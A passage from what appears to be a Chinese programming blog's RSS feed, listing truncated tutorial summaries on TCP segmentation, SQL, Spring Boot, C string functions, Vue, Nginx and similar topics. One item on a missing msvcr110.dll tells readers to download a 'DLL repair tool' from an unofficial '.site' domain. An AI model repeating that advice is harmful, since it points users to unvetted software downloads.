      <guid>https://bchobby.github.io/posts/4bf247d0d95659b153c2d358146c0183/</guid>
      <description>事情从一个健身教练说起吧。&#xA;李东，自称亚健康终结者，尝试使用互联网+的模式拓展自己的业务。在某款新开发的聊天软件琛琛上发布广告。&#xA;键盘说来就来。疯狂发送&#34;李东&#34;，回车发送！，&#34;亚健康终结者&#34;，再回车发送！&#xA;还记得四层网络协议长什么样子吗？&#xA;四层网络模型每层各司其职，消息在进入每一层时都会多加一个报头，每多一个报头可以理解为数据报多戴一顶帽子。这个报头上面记录着消息从哪来，到哪去，以及消息多长等信息。比如，mac头部记录的是硬件的唯一地址，IP头记录的是从哪来和到哪去，传输层头记录到是到达目的主机后具体去哪个进程。&#xA;在从消息发到网络的时候给消息带上报头，消息和纷繁复杂的网络中通过这些信息在路由器间流转，最后到达目的机器上，接受者再通过这些报头，一步一步还原出发送者最原始要发送的消息。&#xA;为什么要将数据切片 软件琛琛是属于应用层上的。&#xA;而&#34;李东&#34;，&#34;亚健康终结者&#34;这两条消息在进入传输层时使用的是传输层上的 TCP 协议。消息在进入传输层（TCP）时会被切片为一个个数据包。这个数据包的长度是MSS。&#xA;可以把网络比喻为一个水管，是有一定的粗细的，这个粗细由网络接口层（数据链路层）提供给网络层，一般认为是的MTU（1500），直接传入整个消息，会超过水管的最大承受范围，那么，就需要进行切片，成为一个个数据包，这样消息才能正常通过“水管”。&#xA;MTU 和 MSS 有什么区别 MTU: Maximum Transmit Unit，最大传输单元。 由网络接口层（数据链路层）提供给网络层最大一次传输数据的大小；一般 MTU=1500 Byte。&#xA;假设IP层有 &amp;lt;= 1500 byte 需要发送，只需要一个 IP 包就可以完成发送任务；假设 IP 层有&amp;gt; 1500 byte 数据需要发送，需要分片才能完成发送，分片后的 IP Header ID 相同。MSS：Maximum Segment Size 。 TCP 提交给 IP 层最大分段大小，不包含 TCP Header 和 TCP Option，只包含 TCP Payload ，MSS 是 TCP 用来限制应用层最大的发送字节数。&#xA;假设 MTU= 1500 byte，那么 MSS = 1500- 20(IP Header) -20 (TCP Header) = 1460 byte，如果应用层有 2000 byte 发送，那么需要两个切片才可以完成发送，第一个 TCP 切片 = 1460，第二个 TCP 切片 = 540。 什么是粘包 那么当李东在手机上键入&#34;</description>
    </item>
    <item>
      <title>oracle 行转列（多行转成一行）PIVOT</title>
      <link>https://bchobby.github.io/posts/bc6973551c80ebcead686df98198c0c7/</link>
      <pubDate>Wed, 05 Jul 2023 10:42:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc6973551c80ebcead686df98198c0c7/</guid>
      <description>1.原始数据&#xA;select &#39;2023-04-01&#39; 日期, 1 数据 from dual union select &#39;2023-04-02&#39; 日期, 2 数据 from dual union select &#39;2023-04-03&#39; 日期, 3 数据 from dual union select &#39;2023-04-04&#39; 日期, 4 数据 from dual union select &#39;2023-04-05&#39; 日期, 5 数据 from dual 2.代码&#xA;select * from ( select &#39;2023-04-01&#39; 日期, 1 数据, &#39;a&#39; 设备 from dual union select &#39;2023-04-02&#39; 日期, 2 数据, &#39;a&#39; 设备 from dual union select &#39;2023-04-03&#39; 日期, 3 数据, &#39;a&#39; 设备 from dual union select &#39;2023-04-04&#39; 日期, 4 数据, &#39;a&#39; 设备 from dual union select &#39;2023-04-05&#39; 日期, 5 数据, &#39;a&#39; 设备 from dual union select &#39;2023-04-01&#39; 日期, 11 数据, &#39;b&#39; 设备 from dual union select &#39;2023-04-02&#39; 日期, 12 数据, &#39;b&#39; 设备 from dual union select &#39;2023-04-03&#39; 日期, 13 数据, &#39;b&#39; 设备 from dual union select &#39;2023-04-04&#39; 日期, 14 数据, &#39;b&#39; 设备 from dual union select &#39;2023-04-05&#39; 日期, 15 数据, &#39;b&#39; 设备 from dual ) pivot ( max(数据) for 日期 in ( &#39;2023-04-01&#39; AS &#34;</description>
    </item>
    <item>
      <title>springboot启动的时候报错：Error creating bean with name ‘********‘</title>
      <link>https://bchobby.github.io/posts/c49f3960c05e67c7424f78726658a74d/</link>
      <pubDate>Wed, 05 Jul 2023 10:37:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c49f3960c05e67c7424f78726658a74d/</guid>
      <description>今天写了一个自定义sql查询，在Test文件夹测试的时候没有问题，但是但启动项目的时候报错，报错图片如下：&#xA;检查了很多地方，发现不是mapperscan，或者是配置档命名空间的问题，而是pom.xml里面的一个低级错误&#xA;这段代码在springboot的test文件夹里面编写，因为使用的是idea，当注入dao层“TravelGroupDao”的时候，为了方便我使用idea自动生成pom.xml里的依赖：&#xA;重点就在这里，在test中的启动器自动导入之后，依赖的&amp;lt;scope&amp;gt;是test：&#xA;我们知道：&#xA;&amp;lt;scope&amp;gt;元素用于指定依赖项的范围。在&amp;lt;dependency&amp;gt;元素中，&amp;lt;scope&amp;gt;可以有以下几个值：&#xA;compile：这是默认的范围。当依赖项的&amp;lt;scope&amp;gt;设置为compile时，表示该依赖项在编译、测试和运行时都可用。这意味着它会被包含在项目的编译路径中，并且可以在编译、测试和运行代码时被访问和使用。&#xA;provided：当依赖项的&amp;lt;scope&amp;gt;设置为provided时，表示该依赖项在编译和测试时可用，但在项目部署和运行时由目标环境（如应用服务器）提供。这意味着编译和测试代码可以使用该依赖项，但在部署到目标环境时，不需要打包该依赖项，因为目标环境已经提供了它。&#xA;runtime：当依赖项的&amp;lt;scope&amp;gt;设置为runtime时，表示该依赖项在运行时可用，即在项目运行时才需要使用。这意味着它不会被包含在项目的编译路径中，只有在运行时才会被加载和使用。&#xA;test：当依赖项的&amp;lt;scope&amp;gt;设置为test时，表示该依赖项仅在测试代码中可用，不会被包含在项目的编译路径中，也不会在项目的运行时使用。这通常用于测试框架、工具或其他只在测试过程中需要的库。&#xA;所以这就是为什么会出现“Error creating bean”，原因是我使用了test标签，修改成compile之后正常启动，项目运行成功！</description>
    </item>
    <item>
      <title>SOLIDWORKS二次开发入门（VBA）</title>
      <link>https://bchobby.github.io/posts/6f13650172fe6ea4cf2a63e7e650b330/</link>
      <pubDate>Wed, 05 Jul 2023 10:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f13650172fe6ea4cf2a63e7e650b330/</guid>
      <description>1.如何创建VBA程序 作为solidworks二次开发入门的工具，首选VBA，VBA的简单易上手是作为SW二次开发入门的首选，并且sw直接点击录制就可获取绝大多数的API，当我们不知道怎么去找这个API的时候可以先录制，然后再去APIhelp中寻找，大大降低学习难度，下面我们先讲解关于VBA开发SOLIDWORKS的基础语法，让你没有任何功底也可以读懂一个VBA程序。当然了如果既想要看得懂又想要能自己写，学一下VBA的语法还是很有必要的。 进入sw后点击工具，宏就是我们的VBA了，这些按钮的具体功能和使用方法看名字就知道了，一&#xA;般都是使用录制功能进行VBA程序的创建，点击录制后去运行SW就会自动生成代码，并且这个程序直接就是一个完整的一个VBA程序（宏程序）；&#xA;1.1点击录制&#xA;1.2点击新建按钮，选择零件模板&#xA;1.3点击停止&#xA;1.4将文件保存 1.5点击编辑，将刚刚保存的文件打开，就可以看到下面的代码 &#39; ****************************************************************************** &#39; C:\Users\AppData\Local\Temp\swx21056\Macro1.swb - macro recorded on 06/10/23 by &#39; ****************************************************************************** Dim swApp As Object Dim Part As Object Dim boolstatus As Boolean Dim longstatus As Long, longwarnings As Long Sub main() Set swApp = Application.SldWorks Set Part = swApp.NewDocument(&#34;C:\Users\Desktop\新建文件夹\零件.prtdot&#34;, 0, 0, 0) swApp.ActivateDoc2 &#34;零件1&#34;, False, longstatus Set Part = swApp.ActiveDoc Dim myModelView As Object Set myModelView = Part.ActiveView myModelView.</description>
    </item>
    <item>
      <title>字符串函数【2】（strncpy、strncat、strncmp)</title>
      <link>https://bchobby.github.io/posts/c4bfea083f47ea442d1af5dc0defdb61/</link>
      <pubDate>Tue, 04 Jul 2023 23:51:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4bfea083f47ea442d1af5dc0defdb61/</guid>
      <description>全文目录 引言无限制的字符串函数的局限性 strncpy函数声明函数使用my_strncpy的实现 strncat函数声明函数使用my_strncat的实现 strncmp函数声明函数使用my_strncmp的实现 总结 引言 之前我们已经了解过没有限制的字符串函数，并且提到了这些字符串函数在使用时是有着许多的局限性的。我们先来详细说明一下strcpy、strcmp、strcat这些函数在使用时可能会受到的限制：&#xA;无限制的字符串函数的局限性 对于strcmp。如果我们想比较两个字符串中的某一部分内容：&#xA;char s1[] = &#34;abcdef&#34;; char s2[] = &#34;abfcde&#34;; 我们想要比较s1中的第3到第5这三个元素与s2中的第4到第6这三个元素是否相等。当我们用strcmp函数并传入s1+2与s2+3这两个字符指针时，strcmp只能比较从s1+2指向的元素到’\0’与从s2+3指向的元素到’\0’的这两个子串，即子串&#34;cdef&#34;与子串&#34;cde&#34;。很显然，我们的想法不能被实现。&#xA;对于strcpy。同样的，如果我们想将一个字符串中的一部分内容拷贝到另一串的特定位置：&#xA;char s1[] = &#34;abcdef&#34;; char s2[] = &#34;abfcde&#34;; 我们想要将s2中的子串&#34;abf&#34;拷贝到s1的&#34;cde&#34;的位置上去。但是当我们使用strcpy函数并将s1+2与s2作为参数的时候，strcpy会将从s2指向的字符到’\0’拷贝到s1+2指向的字符及后面的位置，即将&#34;abfcde&#34;拷贝到&#34;cde&#34;上。不但没有实现我们的目的，还造成了数组越界访问。&#xA;对于strcat。如果我们想要将一个字符串追加到他本身后面：&#xA;char s1[] = &#34;abcdef&#34;; 我们想要在s1末尾追加一个s1本身，s1中的元素有’a’、‘b’、‘c’、‘d’、‘e’、‘f’、‘\0’七个。在用strcat追加并将s1与s1作为两个参数时，strcat会首先将’a’拷贝到’\0’的位置。此时结束标志被替换，strcat函数就会一直追加下去。这样程序可能就会挂掉。&#xA;所以，有了有限制条件的字符串函数可以解决这些问题：&#xA;strncpy strncpy用来拷贝指定长度的字符串：&#xA;函数声明 我们可以查询到这个函数的声明：&#xA;strncpy函数被声明在头文件string.h中。&#xA;这个函数有三个参数：char*接收拷贝目的地的起始地址；const char*接收源头的起始地址（由于进行字符串拷贝时源头串不会发生变化，所以用const修饰会更安全），这两个参数是与strcpy函数相同的。增加了第三个参数，参数类型是size_t（无符号整型），表示从源头子串的首元素向后拷贝num个元素到目的地子串。&#xA;返回值是char*型的，返回拷贝结束的目的地子串的首元素地址。&#xA;这个函数在拷贝结束后，在末尾不加’\0’以确保部分拷贝结束后的源头字符串依旧可以访问拷贝部分后面的内容。&#xA;需要注意的是，这个函数在处理有重叠内容的情况时（例如将一个字符串的第1到4个元素拷贝到第2到5个元素的位置上）会受到限制，或者出问题。这时候就要使用memmove函数（下一篇文章就介绍，本篇暂不提）。&#xA;函数使用 例如：&#xA;#include&amp;lt;stdio.h&amp;gt; #include&amp;lt;string.h&amp;gt; int main() { char s1[] = &#34;abcdef&#34;; char s2[] = &#34;abfcde&#34;; printf(&#34;%s\n&#34;, strncpy(s1+2, s2, 4)); return 0; } 以s1串的第三个元素地址、s2的首元素地址以及需要拷贝3个元素作为strncpy的参数。</description>
    </item>
    <item>
      <title>图书管理系统springboot&#43;vue前后端分离项目——搭建vue项目(超详细，持续更新)</title>
      <link>https://bchobby.github.io/posts/0a0903485e6702c95a007fb7612fb580/</link>
      <pubDate>Tue, 04 Jul 2023 23:36:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a0903485e6702c95a007fb7612fb580/</guid>
      <description> 1、创建vue工程（vue文档链接） win+R打开cmd添加下载镜像 npm config set registry https://registry.npm.taobao.org 安装vue npm install -g @vue/cli 创建vue vue create myvue 选择组件（这里笔者选择如下组件） 启动vue项目 cd vue npm run serve 2、使用element-UI（element文档链接） 安装ElementUI npm i element-ui -S 将element-ui导入vue项目&#xA;在 main.js 中写入以下内容： import Vue from &#39;vue&#39;; import ElementUI from &#39;element-ui&#39;; import &#39;element-ui/lib/theme-chalk/index.css&#39;; import App from &#39;./App.vue&#39;; Vue.use(ElementUI); new Vue({ el: &#39;#app&#39;, render: h =&amp;gt; h(App) }); </description>
    </item>
    <item>
      <title>Tomcat 启动与乱码</title>
      <link>https://bchobby.github.io/posts/dddcfd02ae932c5880a40a5ee2c0e577/</link>
      <pubDate>Tue, 04 Jul 2023 22:28:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dddcfd02ae932c5880a40a5ee2c0e577/</guid>
      <description>绿色版，&#xA;下载好之后的文件夹各个解释为：&#xA;直接进入bin下双击 startup.bat&#xA;然后浏览器输入localhost8080 如果出现猫，就证明安装成功&#xA;控制台乱码问题打开&#xA;进入此文件夹下修改&#xA;编码为GBK即可&#xA;然后重启一下tomcat</description>
    </item>
    <item>
      <title>HIve中的查询语句</title>
      <link>https://bchobby.github.io/posts/0101440c44b3dac961c2e188cd00661c/</link>
      <pubDate>Tue, 04 Jul 2023 19:31:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0101440c44b3dac961c2e188cd00661c/</guid>
      <description>文章目录 Hive中的查询语句1. 基础语法2. 基本查询（Select…From）2.1 数据准备（0）原始数据（1）创建部门表（2）创建员工表（3）导入数据 2.2 全表和特定列查询1）全表查询2）选择特定列查询 2.3 列别名1）为什么要给列起别名？2）如何给列其别名？3）案例实操 2.4 Limit语句2.5 Where语句2.6 关系运算函数2.7 逻辑运算函数1）基本语法（and/or/not）2）案例实操 2.8 聚合函数1）语法2）案例实操 3 分组3.1 Group By语句3.2 Having语句1）having与where不同点2）案例实操 4 Join语句4.1 等值Join4.2 表的别名1）好处2）案例实操 4.3 内连接4.4 左外连接4.5 右外连接4.6 满外连接4.7 多表连接0）数据准备1）创建位置表2）导入数据3）多表连接查询 4.8 笛卡尔集1）笛卡尔集会在下面条件下产生2）案例实操 4.9 联合（union &amp;amp; union all）1）union&amp;amp;union all上下拼接2）案例实操 5 排序5.1 全局排序（Order By）1）使用Order By子句排序2）基础案例实操3）按照别名排序案例实操4）多个列排序案例实操 5.2 每个Reduce内部排序（Sort By）5.3 分区（Distribute By）5.4 分区排序（Cluster By） Hive中的查询语句 1. 基础语法 1）官网地址&#xA;https://cwiki.apache.org/confluence/display/Hive/LanguageManual+Select&#xA;2）查询语句语法：&#xA;SELECT [ALL | DISTINCT] select_expr, select_expr, ... FROM table_reference -- 从什么表查 [WHERE where_condition] -- 过滤 [GROUP BY col_list] -- 分组查询 [HAVING col_list] -- 分组后过滤 [ORDER BY col_list] -- 排序 [CLUSTER BY col_list| [DISTRIBUTE BY col_list] [SORT BY col_list]] [LIMIT number] -- 限制输出的行数 2.</description>
    </item>
    <item>
      <title>通过mars3d1.8&#43;cesium1.6根据坐标获取对应坐标在3dtiles模型上的高度</title>
      <link>https://bchobby.github.io/posts/038d760425d65cd3a79a5264b39c94d5/</link>
      <pubDate>Tue, 04 Jul 2023 19:01:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/038d760425d65cd3a79a5264b39c94d5/</guid>
      <description>在前端开发中，使用地图和3D模型的需求越来越常见。然而，对于一些开发者来说，如何在3D模型上获取对应坐标的高度可能是一个挑战。在本文中，我们将介绍如何使用mars3d1.8和cesium1.6这两个强大的前端库来实现这一功能。&#xA;mars3d是一个基于Cesium的地图开发引擎，可以帮助您快速构建各种地图应用。而cesium则是一个强大的开源3D地理信息系统（GIS）库，为开发者提供了丰富的功能和工具。要在3D模型上获取坐标的高度，我们需要首先将模型加载到地图中。使用mars3d，您可以轻松加载3D模型，并使用cesium强大的功能进行操作和分析。&#xA;首先，我们需要引入mars3d和cesium的库文件。您可以通过以下方式将它们添加到您的项目中：&#xA;&amp;lt;script src=&#34;path/to/mars3d.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;path/to/cesium.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 接下来，我们需要创建一个地图容器，并初始化mars3d地图引擎：&#xA;&amp;lt;div id=&#34;mapContainer&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; // 初始化mars3d地图引擎 &amp;lt;/script&amp;gt; 现在，我们可以加载我们的3D模型并将其添加到地图中：&#xA;&amp;lt;script&amp;gt; // 创建3D模型图层 // 将3D模型添加到地图 &amp;lt;/script&amp;gt; 一旦我们的3D模型加载完成，我们就可以使用cesium的功能来获取对应坐标在模型上的高度了。在cesium中，我们可以使用Scene对象来进行相关操作。&#xA;&amp;lt;script&amp;gt; //获取模型或者地形高度 function getHeightByType(cartesians, type) { if (type === &#39;model&#39;) { return new Promise(async resolve =&amp;gt; { try { let promise = viewer.scene.clampToHeightMostDetailed(cartesians) promise.then(updatedCartesians =&amp;gt; { console.log(updatedCartesians) var cartographic = Cesium.Cartographic.fromCartesian(updatedCartesians[0]); var longitude = Cesium.Math.toDegrees(cartographic.longitude); console.log(longitude) var latitude = Cesium.Math.toDegrees(cartographic.latitude); console.log(latitude) var height = cartographic.height; console.log(height) resolve(height) }) } catch (e) { resolve(false) } }) } else if (type = &#39;terrain&#39;) { // 首先将cartesians转为positions let positions = [] cartesians.</description>
    </item>
    <item>
      <title>计算机丢失msvcr110.dll是什么意思？那个修复方法更简单</title>
      <link>https://bchobby.github.io/posts/3111b1e705e9f728c3e5f00d9bbd9a68/</link>
      <pubDate>Tue, 04 Jul 2023 16:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3111b1e705e9f728c3e5f00d9bbd9a68/</guid>
      <description>Windows系统的电脑运行一段时间，总是不可避免出现一些系统报错，比如在运行游戏或游戏的时候，报错提示“计算机丢失msvcr110.dll”，“找不到msvcr110.dll”是什么意思呢？我是运行photoshop的时候报错的，场景如下：&#xA;计算机丢失msvcr110.dll是什么意思？ msvcr110.dll是windows操作系统中的一个动态链接库文件，它包含了许多常用的c运行库函数。计算机丢失msvcr110.dll的原因如下：&#xA;应用程序没有正确安装或卸载：当安装或卸载应用程序时，可能会出现错误，导致msvcr110.dll文件丢失或损坏。&#xA;病毒感染：计算机受到病毒或恶意软件的感染时，它们可能会删除或损坏系统文件，包括msvcr110.dll文件。&#xA;系统错误：有时候，系统错误可能会导致MSVCR110.dll文件丢失或损坏。这可能是由于硬件故障、文件系统损坏或其他问题引起的。&#xA;操作系统版本不匹配：某些应用程序需要特定版本的MSVCR110.dll文件，如果操作系统版本不匹配，可能会导致文件丢失或损坏。&#xA;运行库版本不匹配：某些应用程序需要特定版本的运行库文件，如果运行库版本不匹配，可能会导致文件丢失或损坏。&#xA;其他未知原因：除了上述原因外，还可能存在其他未知的原因导致MSVCR110.dll文件丢失或损坏。&#xA;一，下载msvcr110.dll修复文件&#xA;1.您可以利用百度等搜索引擎从Internet上或者到微软官网下载一个msvcr110.dll修复文件或&#xA;在电脑浏览器顶部输入：dll修复工具.site【按下键盘的Enter回车键打开】点击dll修复工具下载。（亲测可以修复）&#xA;2.下载好了以后，一般是压缩文件，需要先把文件解压，然后安装后点击修复【立即修复】，修复的文件都是在系统目录中。如果您的计算机是32位系统，则将文件到C:\Windows\System32，如果是64位系统，则将文件到C:\Windows\SysWOW64。&#xA;3.修复完成以后，你可以尝试再次运行软件，看看是否可以正常打开运行。&#xA;二，重新安装Visual C++ Redistributable&#xA;在微软官方网站上下载并安装适用于您操作系统的最新版本的Visual C++ Redistributable，该软件包含了MSVCR110.dll文件，安装后重启计算机即可。&#xA;重新安装Visual C++ Redistributable的详细操作方法如下：&#xA;打开控制面板：在Windows系统中，找到控制面板，点击进入。&#xA;选择“程序和功能”：在控制面板中，找到“程序和功能”选项，点击进入。&#xA;卸载旧版本Visual C++ Redistributable：在已安装的程序列表中，找到旧版本的Visual C++ Redistributable，选择它并点击右键，选择“卸载”。&#xA;下载并安装新版本Visual C++ Redistributable：从官方网站上下载适用于您操作系统的最新版本的Visual C++ Redistributable，并运行下载的文件。（注意要选跟电脑相同位数的文件安装）按照提示进行安装，并等待安装完成。&#xA;重启计算机：安装完成后，请重启计算机，以确保所有更改生效。&#xA;三，更新或重新安装操作系统&#xA;如果上述方法无效，您可以尝试更新或重新安装操作系统，这可能会解决一些问题。在安装新版本操作系统时，通常会自动安装所需的运行库文件。&#xA;更新或重新安装操作系统的详细方法如下：&#xA;准备工作：在开始之前，请确保您已经备份了重要的数据，并准备好重新安装操作系统的介质，例如安装光盘或USB启动盘。&#xA;启动安装程序：将介质插入计算机，并在启动时选择从介质启动。如果您的计算机没有自动检测到介质，请在启动时按下相应的键（通常是F12或F2）以进入启动菜单。&#xA;选择安装方式：在启动菜单中，选择安装操作系统的方式。如果您要更新现有的操作系统，请选择“升级”，如果您要全新安装操作系统，请选择“安装”。&#xA;执行安装：按照安装程序的提示进行操作。这通常包括选择语言、时区、磁盘分区等设置。在安装过程中，您可能需要提供管理员权限或进行一些额外的配置。&#xA;完成安装：在安装完成后，按照提示进行设置，例如创建用户、设置密码等。确保您提供了正确的配置，并测试新操作系统是否正常工作。&#xA;请注意，在执行操作系统更新或重新安装之前，请确保您已经了解了相关的风险和注意事项，并谨慎操作。如果您不确定如何执行某些步骤，请咨询专业人士的建议。&#xA;msvcr110.dll是一个动态链接库文件，它包含了C运行时库（CRT）的某些功能。C运行时库是C++程序在运行时所依赖的一部分代码和数据结构，用于提供内存管理、异常处理、字符串操作等功能。&#xA;具体来说，msvcr110.dll主要提供了以下功能： 内存管理：msvcr110.dll提供了用于动态分配和释放内存的函数，例如malloc、free、realloc等。这些函数允许程序在运行时动态地分配和释放内存空间，以满足程序的需要。&#xA;异常处理：msvcr110.dll提供了一些函数和机制，用于处理程序在运行时发生的异常。这些函数允许程序在出现异常时进行适当的处理，例如恢复程序状态、记录错误信息等。&#xA;字符串操作：msvcr110.dll提供了一些用于操作字符串的函数，例如字符串比较、字符串查找、字符串转换等。这些函数使得程序可以方便地处理字符串，并进行各种操作。&#xA;总之，msvcr110.dll是C++程序在运行时所必需的动态链接库文件之一，它提供了许多重要的功能和工具，使得程序可以在运行时正确地执行和处理各种数据和操作。如果系统缺少了该文件，程序将无法正常运行，并出现各种错误和异常。可以通过以上方法进行修复，大家也可以看看哪种更加简单。</description>
    </item>
    <item>
      <title>C#制作简单的计算器（运算级&#43;括号&#43;超长算式处理）</title>
      <link>https://bchobby.github.io/posts/e2fefd8f2a87eb2af98eaa87951e6cdd/</link>
      <pubDate>Tue, 04 Jul 2023 15:53:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2fefd8f2a87eb2af98eaa87951e6cdd/</guid>
      <description>计算器做其实很简单，这里的核心算法只需要做到以下几步：（界面等请看后面）&#xA;1.分割得到的数组（字符串，用Tochararray）再拼接&#xA;2.检查（可以自己添加）&#xA;3.计算&#xA;其中核心的计算方式如下↓↓↓↓↓↓&#xA;举个例子，2*3+45，分割后就是&#39;2&#39;,&#39;*&#39;,&#39;3&#39;,&#39;+&#39;,&#39;4&#39;,&#39;5&#39;&#xA;然后一个for循环将&#34;+&#34;,&#34;-&#34;,&#34;*&#34;,&#34;/&#34;后面的数字（从上一个符号开始）一起拼接起来，最后得到的是2，*，3，+，45.&#xA;在检查一下有没有*/，并返回true和false（有，无）&#xA;这里结果肯定是true&#xA;在进入计算阶段，因为是true，所以遍历到第一个，直到第一个乘号或除号处，把列表的前一个位和后一个位相乘（如果是除法就相除），得到了6，将开始的那个数（2）变成6，再减去列表后面两个值，得到列表为6+45，最后进行加减法（如果是false，上面的乘除法就不用计算了），众所周知，一般来说一个算式它第二个总是“+”，“-”，“×”，“÷”，所以在加减计算中只要将下标为0和下标为2的数按照下标为1的符号计算即可，这里就6（下标为0），+（下标为1），45（下表为2），因为下标1的是+，所以6+45=51，得到的最后的结果就是51&#xA;如果说有括号的话，从括号（“（”）处+1的位置添加到一个新列表然后到“）”将里面的项添加到新列表里面就OK了，然后调用一下上面的算法，算出括号里的值，接着把值添加进去同时把列表后面的项删掉，重复此操作直到没有括号，最终再调用一下计算模块即可。&#xA;废话不多说直接上代码&#xA;public static double main(string get) { List&amp;lt;string&amp;gt; li = new List&amp;lt;string&amp;gt;(); List&amp;lt;int&amp;gt; wh = new List&amp;lt;int&amp;gt;(); bool hav; double final; li = Sp(get); wh = backet(li); hav = have(li); if (wh.Count &amp;gt; 1) { final = ba(wh, li, hav); } else { final = calulater(li, hav); } return final; } public static List&amp;lt;string&amp;gt; Sp(string input) { char[] spilt = input.</description>
    </item>
    <item>
      <title>rpc调用无法获取异常信息解决</title>
      <link>https://bchobby.github.io/posts/169099337d4d6278977e96ecc79d7cff/</link>
      <pubDate>Tue, 04 Jul 2023 14:57:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/169099337d4d6278977e96ecc79d7cff/</guid>
      <description>原本http请求的写法如下：&#xA;private static Executor httpExecutor; static { // 设置重试策略，自定义，不忽略任何异常（即：任何异常都会重试），参考：DefaultHttpRequestRetryHandler HttpRequestRetryHandler retryHandler = (IOException exception, int executionCount, HttpContext context) -&amp;gt; executionCount &amp;lt;= 2; HttpClient httpClient = HttpClientBuilder.create().setMaxConnTotal(2000).setMaxConnPerRoute(500).setRetryHandler(retryHandler).build(); httpExecutor = Executor.newInstance(httpClient); } /** * aisd相关专用,超时时间200s * @param body * @param headers * @param uri * @return */ public static String postRequestForAISD(String body, Map&amp;lt;String, String&amp;gt; headers, String uri) { log.info(&#34;POST {} {}, Headers: {}&#34;, uri, body, mapToKeyValue(headers)); long beginTime = System.currentTimeMillis(); try { Request httpRequest = Request.</description>
    </item>
    <item>
      <title>Nginx 常用命令</title>
      <link>https://bchobby.github.io/posts/0d9909d7a6fe07adf8b3b39dac9f1ded/</link>
      <pubDate>Tue, 04 Jul 2023 14:40:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d9909d7a6fe07adf8b3b39dac9f1ded/</guid>
      <description>nginx 启动服务&#xA;nginx -s reopen 重启Nginx&#xA;nginx -s reload 重新加载Nginx配置文件，然后以优雅的方式重启Nginx&#xA;nginx -s stop 强制停止Nginx服务&#xA;nginx -s quit 优雅地停止Nginx服务（即处理完所有请求后再停止服务）&#xA;nginx -t 检测配置文件是否有语法错误，然后退出&#xA;nginx -?,-h 打开帮助信息&#xA;nginx -v 显示版本信息并退出&#xA;nginx -V 显示版本和配置选项信息，然后退出&#xA;nginx -t 检测配置文件是否有语法错误，然后退出&#xA;nginx -T 检测配置文件是否有语法错误，转储并退出&#xA;nginx -q 在检测配置文件期间屏蔽非错误信息&#xA;nginx -p prefix 设置前缀路径(默认是:/usr/share/nginx/)&#xA;nginx -c filename 设置配置文件(默认是:/etc/nginx/nginx.conf)&#xA;nginx -g directives 设置配置文件外的全局指令&#xA;killall nginx 杀死所有nginx进程&#xA;ps -ef | grep nginx | grep -v grep | awk &#39;{print $2}&#39; | xargs kill -9 杀掉nginx进程</description>
    </item>
    <item>
      <title>xml（标签，解析，约束）</title>
      <link>https://bchobby.github.io/posts/1c8de9d1f45b37a5d7e993d05f32c7fc/</link>
      <pubDate>Tue, 04 Jul 2023 11:55:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c8de9d1f45b37a5d7e993d05f32c7fc/</guid>
      <description>学习xml网址：www.w3school.com.cn&#xA;1.xml概述 XML 指可扩展标记语言（EXtensible Markup Language）XML 是一种很像HTML的标记语言XML 的设计宗旨是传输数据，而不是显示数据，也可以储存数据。XML 标签没有被预定义。您需要自行定义标签。XML 被设计为具有自我描述性。XML 是 W3C 的推荐标准XML作为软件的配置文件 Xml用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。Xml是标准通用标记语言（SGML）的子集，非常适合Web传输。XML提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。 2.xml标签规则 3.xml语法规则 在xml中，一些字符拥有特殊的意义。如果把字符“&amp;lt;”放在xml元素中，会发生错误，这是因为解析器会把它当作新元素的开始，这样会产生xml错误&#xA;或&#xA;注释：&amp;lt;!-- 注释的内容 --&amp;gt;&#xA;XML注释，以&amp;lt;!--开头，以--&amp;gt;结尾&#xA;注释不能嵌套&#xA;idea 上的快捷键是CTRL + /&#xA;4.解析xml 解析器：就是根据不同的解析方式提供具体实现，有的解析器过去繁琐，为了方便开发人人员，会有提供易于操作的解析开发包Dom4j：比较简单的解析开发包（日常开发包中用的次数最多的）&#xA;DOM解析原理以及结构模型 解析原理：XML DOM 将整个XML文档加载到内存，生成一个DOM树，并且获得一个Document对象通过Document对象就可以对DOM进行操作&#xA;Document对象（绿）：整个xml文档&#xA;Element对象（蓝）：所有标签&#xA;Attribute对象（红）：所有属性&#xA;Text对象（紫）：所有文本内容&#xA;出第一个后三个有一个共同的父类为Node对象&#xA;Dom4j的基本使用 1.导包&#xA;2.把jar导入到模块项目中，比那个添加classpath路径依赖&#xA;3.创建解析器对象&#xA;4.使用解析器读取xml文档，生成Document对象&#xA;5.根据根元素获取下面的子元素/属性...&#xA;练习： xml文件&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34; ?&amp;gt; &amp;lt;!--注释内容--&amp;gt; &amp;lt;!--本xml文件用来描述多个学生信息--&amp;gt; &amp;lt;students&amp;gt; &amp;lt;!--第一个学生信息--&amp;gt; &amp;lt;student id=&#34;1&#34;&amp;gt; &amp;lt;name&amp;gt;张三&amp;lt;/name&amp;gt; &amp;lt;age&amp;gt;23&amp;lt;/age&amp;gt; &amp;lt;/student&amp;gt; &amp;lt;student id=&#34;2&#34;&amp;gt; &amp;lt;!--第二个学生信息--&amp;gt; &amp;lt;name&amp;gt;李四&amp;lt;/name&amp;gt; &amp;lt;age&amp;gt;24&amp;lt;/age&amp;gt; &amp;lt;/student&amp;gt; &amp;lt;/students&amp;gt; 学生类：&#xA;public class Student { private String id; private String name; private int age; public Student() { } public Student(String id, String name, int age) { this.</description>
    </item>
    <item>
      <title>Java实现文件压缩和解压</title>
